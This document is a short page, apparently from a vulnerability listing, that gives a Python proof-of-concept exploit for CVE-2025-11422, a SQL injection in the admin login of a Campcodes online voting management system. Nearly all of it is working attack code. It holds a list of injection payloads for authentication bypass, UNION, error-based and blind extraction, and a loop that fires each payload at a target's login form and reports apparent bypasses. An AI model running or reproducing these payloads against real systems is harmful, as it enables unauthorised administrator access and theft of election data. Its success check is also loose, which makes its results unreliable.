CVE-2025-11422：Campcodes在线投票管理系统SQL注入漏洞

# CVE-2025-11422 - Campcodes Advanced Online Voting Management System SQL Injection PoC # Vulnerability: SQL Injection in /admin/login.php via Username parameter # Author: hbesljx # Reference: https://github.com/hbesljx/vul/issues/5 import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" LOGIN_URL = f"{TARGET_URL}/admin/login.php" # SQL Injection payloads for the Username parameter payloads = [ # Authentication bypass "admin' OR '1'='1' -- ", "admin' OR '1'='1' #", "' OR 1=1 -- ", # Union-based injection to extract data "' UNION SELECT 1,2,3 -- ", # Error-based injection "' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) -- ", # Boolean-based blind injection "admin' AND 1=1 -- ", "admin' AND 1=2 -- ", ] def exploit_sqli(target_url): print(f"[*] Targeting: {target_url}") print(f"[*] Login endpoint: {LOGIN_URL}") for i, payload in enumerate(payloads): print(f"\n[+] Testing payload #{i+1}: {payload}") data = { "Username": payload, "Password": "test", "login": "submit" } try: response = requests.post(LOGIN_URL, data=data, timeout=10, allow_redirects=False) print(f" Status Code: {response.status_code}") print(f" Response Length: {len(response.text)}") # Check for successful bypass or data leakage if response.status_code == 302 or "dashboard" in response.text.lower() or "admin" in response.text.lower(): print(f" [!] Possible authentication bypass detected!") elif "error" in response.text.lower() or "sql" in response.text.lower() or "mysql" in response.text.lower(): print(f" [!] Possible SQL error detected - injection confirmed!") else: print(f" [-] No obvious indicators") except requests.exceptions.RequestException as e: print(f" [!] Request failed: {e}") if __name__ == "__main__": exploit_sqli(TARGET_URL)